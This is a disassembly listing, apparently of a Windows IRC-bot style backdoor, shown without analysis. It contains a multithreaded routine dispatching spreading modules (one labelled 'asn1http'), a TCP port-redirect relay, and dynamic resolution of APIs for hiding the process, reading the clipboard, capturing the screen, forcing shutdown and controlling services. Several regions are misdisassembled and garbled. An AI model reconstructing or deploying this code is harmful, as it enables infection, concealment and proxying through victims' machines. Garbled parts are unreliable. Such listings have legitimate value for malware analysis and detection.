pop ebx
leave
retn
sub_405472 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40550F proc near ; DATA XREF: sub_40550F+34Fo
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_75 = byte ptr -75h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
mov ebx, esi
pop ecx
imul ebx, 234h
loc_405556: ; CODE XREF: sub_40550F+200j
mov eax, ds:dword_4358DC[ebx]
cmp ds:dword_42F3FC[eax*8], 0
jz loc_405714
cmp [ebp+var_10], 0
push eax
jz short loc_405580
lea eax, [ebp+var_150]
push eax
call sub_4053D6
pop ecx
jmp short loc_405585
; ---------------------------------------------------------------------------
loc_405580: ; CODE XREF: sub_40550F+60j
call sub_40538E
loc_405585: ; CODE XREF: sub_40550F+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push ds:dword_4358DC[ebx]
push [ebp+var_3C]
push edi
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_420370
push eax
call sub_41050B
lea eax, [ebp+var_28C]
push eax
lea eax, dword_4356D8[ebx]
push eax
call sub_41050B
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_405472
add esp, 2Ch
cmp eax, 1
jnz loc_405704
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_405659
push offset dword_42FD58
call ds:dword_41C0A0 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_420334
push eax
call sub_41050B
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40563B
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40562F
lea eax, [ebp+var_140]
loc_40562F: ; CODE XREF: sub_40550F+118j
push eax
push [ebp+var_40]
call sub_40E367
add esp, 14h
loc_40563B: ; CODE XREF: sub_40550F+FDj
lea eax, [ebp+var_28C]
push eax
call sub_407E0E
mov [esp+29Ch+var_29C], offset dword_42FD58
call ds:dword_41C09C ; RtlLeaveCriticalSection
jmp loc_405704
; ---------------------------------------------------------------------------
loc_405659: ; CODE XREF: sub_40550F+CDj
push edi
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_41050B
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aAsn1http_0 ; "asn1http"
push eax
lea eax, [ebp+var_178]
push eax
call sub_41050B
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40569D
lea eax, [ebp+var_140]
loc_40569D: ; CODE XREF: sub_40550F+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_41050B
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call ds:off_41FFEC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_405704: ; CODE XREF: sub_40550F+C3j
; sub_40550F+145j
push 7D0h
call ds:dword_41C058 ; Sleep
jmp loc_405556
; ---------------------------------------------------------------------------
loc_405714: ; CODE XREF: sub_40550F+55j
push esi
call sub_4102D3
pop ecx
push 0
call near ptr 3E0000h
mov [ebp+var_75], dl
in al, dx
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call ds:dword_4307D0 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov ds:dword_42F3F8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call loc_404FFA
push 8
call sub_4101FF
add esp, 150h
cmp eax, ebx
jnz short loc_4057F1
mov esi, offset dword_42FD58
push esi
call ds:dword_41C0A8 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_41C0A4 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_4057F1
lea eax, [ebp+var_1CC]
push offset unk_4204B4
push eax
call sub_41050B
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_4057DB
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40E367
add esp, 14h
loc_4057DB: ; CODE XREF: sub_40550F+2ADj
lea eax, [ebp+var_1CC]
push eax
call sub_407E0E
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4057F1: ; CODE XREF: sub_40550F+277j
; sub_40550F+293j
mov eax, [ebp+var_2C]
mov esi, ds:dword_41C058
mov edi, ebx
mov ds:dword_42F3FC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_4058BE
loc_40580F: ; CODE XREF: sub_40550F+3A9j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_420468
push eax
call sub_41050B
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_40FFB7
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov ds:dword_4358DC[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40550F
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_405889
loc_40587E: ; CODE XREF: sub_40550F+378j
cmp [ebp+var_4], ebx
jnz short loc_4058B0
push 1Eh
call esi ; Sleep
jmp short loc_40587E
; ---------------------------------------------------------------------------
loc_405889: ; CODE XREF: sub_40550F+36Dj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_420418
push eax
call sub_41050B
lea eax, [ebp+var_1CC]
push eax
call sub_407E0E
add esp, 10h
loc_4058B0: ; CODE XREF: sub_40550F+372j
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40580F
loc_4058BE: ; CODE XREF: sub_40550F+2FAj
cmp [ebp+var_30], ebx
jz near ptr loc_405967+1
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_4058D3: ; CODE XREF: sub_40550F+464j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, ds:dword_42F3F8[eax*8]
push eax
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_4203C0
push eax
call sub_41050B
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_405921
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40E367
add esp, 14h
loc_405921: ; CODE XREF: sub_40550F+3F3j
lea eax, [ebp+var_1CC]
push eax
call sub_407E0E
mov eax, [ebp+var_2C]
mov [esp+29Ch+var_29C], 0BB8h
mov ds:dword_42F3FC[eax*8], ebx
call esi ; Sleep
push 8
call sub_4101FF
cmp eax, 1
pop ecx
jnz short loc_405958
push offset dword_42FD58
call ds:dword_41C0A8 ; RtlDeleteCriticalSection
loc_405958: ; CODE XREF: sub_40550F+43Cj
push [ebp+var_2C]
call sub_4102D3
pop ecx
push ebx
call near ptr 3E0000h
loc_405967: ; CODE XREF: sub_40550F+3B2j
; sub_40550F+471j
test byte ptr [ebx+3C83D445h], 0C5h
cld
rep inc edx
add [ecx], al
jnz loc_4058D3
push 7D0h
call esi ; Sleep
jmp short near ptr loc_405967+1
sub_40550F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405982 proc near ; DATA XREF: seg000:0040C09Co
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_410590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call ds:dword_430794 ; ntohs
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call ds:dword_430810 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_405AE6
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov ds:dword_4358E4[eax], ebx
call ds:dword_4306C0 ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_4307C0 ; bind
test eax, eax
jnz loc_405AE6
push 0Ah
push ebx
call ds:dword_4307BC ; listen
test eax, eax
jnz loc_405AE6
loc_405A2C: ; CODE XREF: sub_405982+BEj
; sub_405982+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call ds:dword_430824 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_405A2C
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset unk_420550
push eax
call sub_41050B
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_40FFB7
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov ds:dword_4358DC[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_405B0A
push esi
push esi
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov ds:dword_4358EC[ecx], eax
jz short loc_405AD1
loc_405ABE: ; CODE XREF: sub_405982+14Dj
cmp [ebp+var_2C], esi
jnz loc_405A2C
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_405ABE
; ---------------------------------------------------------------------------
loc_405AD1: ; CODE XREF: sub_405982+13Aj
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_420500
call sub_407E82
pop ecx
pop ecx
jmp short loc_405AE9
; ---------------------------------------------------------------------------
loc_405AE6: ; CODE XREF: sub_405982+61j
; sub_405982+93j ...
mov edi, [ebp+arg_0]
loc_405AE9: ; CODE XREF: sub_405982+162j
push edi
call ds:dword_430828 ; closesocket
push ebx
call ds:dword_430828 ; closesocket
push [ebp+var_3C]
call sub_4102D3
pop ecx
push esi
call near ptr 3E0000h
xchg eax, edx
pop edi
pop esi
pop ebx
sub_405982 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B0A proc near ; DATA XREF: sub_405982+11Co
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_410BE0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call ds:dword_430810 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_405CC0
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_410590
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call ds:dword_430794 ; ntohs
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call ds:dword_4307D0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_405B9A
lea eax, [ebp+var_13C]
push eax
call ds:dword_430814 ; gethostbyname
jmp short loc_405BA8
; ---------------------------------------------------------------------------
loc_405B9A: ; CODE XREF: sub_405B0A+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_430750 ; gethostbyaddr
loc_405BA8: ; CODE XREF: sub_405B0A+8Ej
cmp eax, edi
jz loc_405CC0
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call ds:dword_430740 ; connect
cmp eax, 0FFFFFFFFh
jz loc_405CC0
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_4205FC
push eax
call sub_41050B
push esi
lea eax, [ebp+var_344]
push 10h
push eax
call sub_40FFB7
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_4358E4[ebx]
mov ds:dword_4358DC[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_4358E8[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push (offset loc_405CED+4)
push edi
push edi
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4358EC[ecx], eax
jz short loc_405CAD
loc_405C5A: ; CODE XREF: sub_405B0A+15Dj
cmp [ebp+var_20], edi
jnz short loc_405C69
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_405C5A
; ---------------------------------------------------------------------------
loc_405C69: ; CODE XREF: sub_405B0A+153j
mov ebx, 1000h
loc_405C6E: ; CODE XREF: sub_405B0A+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_4307AC ; recv
cmp eax, edi
jle short loc_405CC0
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call ds:dword_4307E0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405C6E
jmp short loc_405CC0
; ---------------------------------------------------------------------------
loc_405CAD: ; CODE XREF: sub_405B0A+14Ej
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_4205A8
call sub_407E82
pop ecx
pop ecx
loc_405CC0: ; CODE XREF: sub_405B0A+44j
; sub_405B0A+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push ds:dword_4358E4[eax]
call ds:dword_430828 ; closesocket
push [ebp+arg_0]
call ds:dword_430828 ; closesocket
push [ebp+var_4]
call sub_4102D3
pop ecx
push edi
call near ptr 3E0000h
loc_405CED: ; DATA XREF: sub_405B0A+130o
mov edx, 555B5E5Fh
sub_405B0A endp ; sp-analysis failed
mov ebp, esp
mov eax, 1128h
call sub_410BE0
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_405D28: ; CODE XREF: seg000:00405D6Dj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push ds:dword_4358E8[esi]
call ds:dword_4307AC ; recv
test eax, eax
jle short loc_405D6F
push 0
push eax
lea eax, [ebp-1128h]
push eax
push ds:dword_4358E4[esi]
call ds:dword_4307E0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405D28
loc_405D6F: ; CODE XREF: seg000:00405D52j
push ds:dword_4358E8[esi]
call ds:dword_430828 ; closesocket
push dword ptr [ebp-14h]
call sub_4102D3
pop ecx
push 0
call near ptr 3E0000h
pop ss
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
sub_405D8E proc near ; CODE XREF: seg000:00408B3Dp
push ebx
push ebp
mov ebp, ds:dword_41C0B4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_41C0B0
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_405EAE
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_43083C, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_4307B4, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_430798, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_4306C4, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_430674, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_4306A0, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_430710, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_4307F0, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_43084C, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_4306D0, eax
call esi
cmp ds:dword_43083C, ebx
mov ds:dword_4306B8, eax
jz short loc_405E8C
cmp ds:dword_4307B4, ebx
jz short loc_405E8C
cmp ds:dword_430798, ebx
jz short loc_405E8C
cmp ds:dword_4306C4, ebx
jz short loc_405E8C
cmp ds:dword_4306A0, ebx
jz short loc_405E8C
cmp ds:dword_430710, ebx
jz short loc_405E8C
cmp ds:dword_4307F0, ebx
jz short loc_405E8C
cmp ds:dword_43084C, ebx
jz short loc_405E8C
cmp ds:dword_4306D0, ebx
jz short loc_405E8C
cmp eax, ebx
jnz short loc_405E96
loc_405E8C: ; CODE XREF: sub_405D8E+B8j
; sub_405D8E+C0j ...
mov ds:dword_430850, 1
loc_405E96: ; CODE XREF: sub_405D8E+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov ds:dword_4307C8, eax
jz short loc_405EC3
push 1
push ebx
call eax
jmp short loc_405EC3
; ---------------------------------------------------------------------------
loc_405EAE: ; CODE XREF: sub_405D8E+1Dj
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_430854, eax
mov ds:dword_430850, 1
loc_405EC3: ; CODE XREF: sub_405D8E+117j
; sub_405D8E+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_41C0AC ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_405F7E
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_4307EC, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_4307A0, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_430738, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_430840, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_430764, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_430784, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_4307E4, eax
call esi
cmp ds:dword_4307EC, ebx
mov ds:dword_4306EC, eax
jz short loc_405F89
cmp ds:dword_4307A0, ebx
jz short loc_405F89
cmp ds:dword_430738, ebx
jz short loc_405F89
cmp ds:dword_430840, ebx
jz short loc_405F89
cmp ds:dword_430764, ebx
jz short loc_405F89
cmp ds:dword_430784, ebx
jz short loc_405F89
cmp ds:dword_4307E4, ebx
jz short loc_405F89
cmp eax, ebx
jnz short loc_405F93
jmp short loc_405F89
; ---------------------------------------------------------------------------
loc_405F7E: ; CODE XREF: sub_405D8E+144j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_43085C, eax
loc_405F89: ; CODE XREF: sub_405D8E+1B8j
; sub_405D8E+1C0j ...
mov ds:dword_430858, 1
loc_405F93: ; CODE XREF: sub_405D8E+1ECj
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_40612E
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_430800, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_43074C, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_4307B8, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_4306B0, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_43070C, eax
call esi
cmp ds:dword_430800, ebx
mov ds:dword_430770, eax
jz short loc_40601E
cmp ds:dword_43074C, ebx
jz short loc_40601E
cmp ds:dword_4307B8, ebx
jz short loc_40601E
cmp ds:dword_4306B0, ebx
jz short loc_40601E
cmp ds:dword_43070C, ebx
jz short loc_40601E
cmp eax, ebx
jnz short loc_406028
loc_40601E: ; CODE XREF: sub_405D8E+26Aj
; sub_405D8E+272j ...
mov ds:dword_430860, 1
loc_406028: ; CODE XREF: sub_405D8E+28Ej
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_430778, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_430754, eax
call esi
cmp ds:dword_430778, ebx
mov ds:dword_4307FC, eax
jz short loc_406063
cmp ds:dword_430754, ebx
jz short loc_406063
cmp eax, ebx
jnz short loc_40606D
loc_406063: ; CODE XREF: sub_405D8E+2C7j
; sub_405D8E+2CFj
mov ds:dword_430860, 1
loc_40606D: ; CODE XREF: sub_405D8E+2D3j
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_430788, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_43068C, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_430694, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_4306F4, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_4306F8, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_4306A8, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_430758, eax
call esi
cmp ds:dword_430788, ebx
mov ds:dword_430698, eax
jz short loc_406111
cmp ds:dword_43068C, ebx
jz short loc_406111
cmp ds:dword_430694, ebx
jz short loc_406111
cmp ds:dword_4306F4, ebx
jz short loc_406111
cmp ds:dword_4306F8, ebx
jz short loc_406111
cmp ds:dword_4306A8, ebx
jz short loc_406111
cmp ds:dword_430758, ebx
jz short loc_406111
cmp eax, ebx
jnz short loc_40611B
loc_406111: ; CODE XREF: sub_405D8E+34Dj
; sub_405D8E+355j ...
mov ds:dword_430860, 1
loc_40611B: ; CODE XREF: sub_405D8E+381j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov ds:dword_430690, eax
jnz short loc_406143
jmp short loc_406139
; ---------------------------------------------------------------------------
loc_40612E: ; CODE XREF: sub_405D8E+210j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_430864, eax
loc_406139: ; CODE XREF: sub_405D8E+39Ej
mov ds:dword_430860, 1
loc_406143: ; CODE XREF: sub_405D8E+39Cj
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_40620F
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_430780, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_4307D4, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_4307DC, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_43079C, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_4306D4, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_430684, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_4307D8, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_430670, eax
call esi
cmp ds:dword_430780, ebx
mov ds:dword_430704, eax
jz short loc_40621A
cmp ds:dword_4307D4, ebx
jz short loc_40621A
cmp ds:dword_4307DC, ebx
jz short loc_40621A
cmp ds:dword_43079C, ebx
jz short loc_40621A
cmp ds:dword_4306D4, ebx
jz short loc_40621A
cmp ds:dword_430684, ebx
jz short loc_40621A
cmp ds:dword_4307D8, ebx
jz short loc_40621A
cmp ds:dword_430670, ebx
jz short loc_40621A
cmp eax, ebx
jnz short loc_406224
jmp short loc_40621A
; ---------------------------------------------------------------------------
loc_40620F: ; CODE XREF: sub_405D8E+3C0j
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ds:dword_43086C, eax
loc_40621A: ; CODE XREF: sub_405D8E+441j
; sub_405D8E+449j ...
mov ds:dword_430868, 1
loc_406224: ; CODE XREF: sub_405D8E+47Dj
mov ebp, ds:dword_41C0AC
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4064E0
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_430718, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_430834, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_4306C0, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_43069C, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_430744, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_430730, eax
call esi
push offset aSocket ; "socket"
push edi
mov ds:dword_430700, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_430810, eax
call esi
push offset aConnect ; "connect"
push edi
mov ds:dword_43082C, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_430740, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_43081C, eax
call esi
push offset aHtons ; "htons"
push edi
mov ds:dword_4307D0, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov ds:dword_430794, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_430790, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_4306E0, eax
call esi
push offset aSend ; "send"
push edi
mov ds:dword_4306D8, eax
call esi
push offset aSendto ; "sendto"
push edi
mov ds:dword_4307E0, eax
call esi
push offset aRecv ; "recv"
push edi
mov ds:dword_4307F4, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_4307AC, eax
call esi
mov ds:dword_43076C, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov ds:dword_4307C0, eax
call esi
push offset aListen ; "listen"
push edi
mov ds:dword_43077C, eax
call esi
